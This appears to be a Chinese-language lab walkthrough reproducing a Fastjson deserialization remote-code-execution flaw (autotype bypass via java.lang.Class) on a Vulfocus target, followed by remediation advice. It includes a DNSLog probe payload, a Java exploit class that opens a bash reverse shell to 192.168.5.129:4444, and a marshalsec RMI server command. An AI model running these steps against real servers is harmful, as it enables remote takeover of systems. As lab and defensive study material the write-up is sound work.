漏洞成因
fastjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的set方法, 利用这个特性,构造一个 JSON 字符串,并且使 用 @type 反序列化一个自己想要使用的攻击类。
com.sun.rowset.JdbcRowSetImpl就是一个支持调用rmi功能的类。因此可以使用com.sun.rowset.JdbcRowSetImpl类进行远程调用exp。
fastjson默认关闭了反序列化任意类的操作,增加了checkautotype,也就是指定要用来反序列化的类不能够在一些黑名单中,从而做了一定的限制。
此次漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
漏洞复现过程
启动vulfcous靶机(fastjson版本应该是1.2.48左右的,vaulfocus靶场应该是弄错了。)
发送请求包,使用bp拦截。
首先使用java.net.Inet4Address类进行测试下。(首先修改请求方式,其此修改content-type类型为application/json)
{"x":{"@type":"java.net.Inet4Address","val":"glcbz6.dnslog.cn"}}
在dnslog平台上,成功看到dns请求记录。
exp:
import java.io.IOException;
public class exp_jndi {
static{
try {
java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.5.129/4444 0>&1"});
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
开启python的http服务。
开启rmi服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.129/#exp_jndi" 1099
payload如下:
成功反弹shell。
修复建议
1、升级JDK
JDK6u211 / 7u201 / 8u191 /11.0.1版本,默认禁用了自动加载远程类文件以及LDAP和RMI协议的使用。
2、升级Fastjson到最新版
做好备份后,进行升级。
3、使用安全产品过滤非法内容
添加waf,过滤@type以及对应的各种编码后的字符。
4、更换其它序列化工具
Jackson/Gson
参考链接
Fastjson反序列化漏洞(1.2.24 RCE):https://blog.csdn.net/m0_61506558/article/details/126818902
Fastjson漏洞+复现 :https://www.cnblogs.com/AffectedFish/p/16947318.html
推荐大家看下这篇文章,FastJson1.2.24漏洞复现:https://www.cnblogs.com/xiaozhi789/articles/15918262.html讲解的很不错,调用链简单明了,漏洞原理很清晰。